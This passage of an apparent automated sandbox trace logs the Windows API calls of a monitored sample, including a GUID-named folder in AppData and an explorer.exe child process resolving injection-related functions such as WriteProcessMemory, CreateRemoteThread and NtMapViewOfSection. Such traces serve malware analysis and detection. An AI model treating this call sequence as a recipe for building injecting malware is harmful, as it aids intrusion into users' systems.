pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") [0204.267] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 51 [0204.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0204.268] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x34) returned 0x9b6dc70 [0204.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", cchWideChar=51, lpMultiByteStr=0x9b6dc70, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpUsedDefaultChar=0x0) returned 51 [0204.268] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0204.268] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1")) returned 0x2010 [0204.268] PathIsDirectoryEmptyA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 1 [0204.268] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc70 | out: hHeap=0x9770000) returned 1 [0204.268] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 Thread: id = 533 os_tid = 0xac8 Thread: id = 540 os_tid = 0xae8 [0405.554] lstrlenA (lpString="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 58 [0405.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9b6dc50 [0405.554] mbstowcs (in: _Dest=0x9b6dc50, _Source="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", _MaxCount=0x3b | out: _Dest="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x3a [0405.554] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0405.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9b6dcd0 [0405.554] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x9b6dcd0, nSize=0x53 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x53 [0405.554] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0405.554] PathGetShortPath (in: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") [0405.555] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 51 [0405.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0405.555] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x34) returned 0x9b6dc50 [0405.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", cchWideChar=51, lpMultiByteStr=0x9b6dc50, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpUsedDefaultChar=0x0) returned 51 [0405.555] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dcd0 | out: hHeap=0x9770000) returned 1 [0405.555] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1")) returned 0x2010 [0405.555] PathIsDirectoryEmptyA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 1 [0405.556] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0405.556] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 Thread: id = 544 os_tid = 0x768 Thread: id = 554 os_tid = 0x308 Thread: id = 582 os_tid = 0xa40 [0705.556] lstrlenA (lpString="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 58 [0705.556] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9b6dc50 [0705.556] mbstowcs (in: _Dest=0x9b6dc50, _Source="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", _MaxCount=0x3b | out: _Dest="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x3a [0705.556] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0705.557] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9b6dcd0 [0705.557] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x9b6dcd0, nSize=0x53 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x53 [0705.557] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0705.557] PathGetShortPath (in: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") [0705.557] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 51 [0705.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0705.557] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x34) returned 0x9b6dc50 [0705.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", cchWideChar=51, lpMultiByteStr=0x9b6dc50, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpUsedDefaultChar=0x0) returned 51 [0705.557] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dcd0 | out: hHeap=0x9770000) returned 1 [0705.558] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1")) returned 0x2010 [0705.558] PathIsDirectoryEmptyA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 1 [0705.558] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0705.558] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 Thread: id = 586 os_tid = 0x7e8 Thread: id = 596 os_tid = 0x53c Process: id = "4" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x36626000" os_pid = "0xaf8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "C:\\Windows\\SysWOW64\\explorer.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 44 os_tid = 0xafc [0044.661] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ntdll.dll", BaseAddress=0x2bfdb0 | out: BaseAddress=0x2bfdb0*=0x77340000) returned 0x0 [0044.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwClose", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7735f9d0) returned 0x0 [0044.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwOpenProcess", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7735fc10) returned 0x0 [0044.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwOpenProcessToken", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773610b0) returned 0x0 [0044.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryInformationToken", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7735fb98) returned 0x0 [0044.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7735ff94) returned 0x0 [0044.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7735fc70) returned 0x0 [0044.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7735fc40) returned 0x0 [0044.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlRandomEx", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773801e3) returned 0x0 [0044.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryInformationProcess", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7735fac8) returned 0x0 [0044.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlGetVersion", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7737873a) returned 0x0 [0044.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlNtStatusToDosError", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773761ed) returned 0x0 [0044.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7735fda0) returned 0x0 [0044.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlImageNtHeader", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77373164) returned 0x0 [0044.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_strupr", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77414a75) returned 0x0 [0044.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_wcsupr", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77414f53) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memmove", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77378f50) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="bsearch", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7736ebdc) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_vsnwprintf", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7738ef93) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="strstr", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773bc780) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_strlwr", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77414a48) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="atoi", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7738d2f3) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="wcscpy", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x774156cd) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlFreeUnicodeString", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7736e126) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlUpcaseUnicodeString", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7739b49f) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryKey", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7735fa80) returned 0x0 [0044.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="sprintf", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x774153c3) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_snprintf", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77414760) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memset", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7736df20) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlAdjustPrivilege", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773f1f40) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="mbstowcs", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773ba152) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memcpy", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77362340) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="strcpy", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773bc300) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlImageDirectoryEntryToData", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7736f546) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memcmp", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77372265) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_aulldiv", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7739b140) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_allmul", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77382760) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_aullshr", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77378860) returned 0x0 [0044.664] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_allshl", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77373140) returned 0x0 [0044.665] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_chkstk", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7737ad68) returned 0x0 [0044.665] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlUnwind", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77386d39) returned 0x0 [0044.665] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtQueryVirtualMemory", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7735fbc8) returned 0x0 [0044.665] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x2bfdb0 | out: BaseAddress=0x2bfdb0*=0x769e0000) returned 0x0 [0044.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f542c) returned 0x0 [0044.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1986) returned 0x0 [0044.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f5aa6) returned 0x0 [0044.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualQueryEx", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a745cf) returned 0x0 [0044.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateRemoteThread", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a7416b) returned 0x0 [0044.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4467) returned 0x0 [0044.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExitThread", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7739d598) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempFileNameA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a19d3f) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1856) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773745f5) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f435f) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f49ca) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0eceb) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleFileNameA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f14b1) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1245) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f3e8e) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f18f1) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1826) returned 0x0 [0044.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f10ff) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f49d7) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1410) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WriteProcessMemory", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0d9e0) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f5506) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1809) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f53c6) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f5a4b) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0cfdf) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a12a9d) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7736e026) returned 0x0 [0044.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0d0a7) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveDirectoryA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a744bf) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteFileA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f5444) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f14c9) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a12b7a) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1282) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateDirectoryA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a1d526) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f11c0) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedIncrement", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1400) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedDecrement", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f13f0) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapDestroy", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f35b7) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapCreate", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4a2d) returned 0x0 [0044.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f16c5) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77381f6e) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f110c) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f2d3c) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a12b0a) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a17d7e) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ResumeThread", 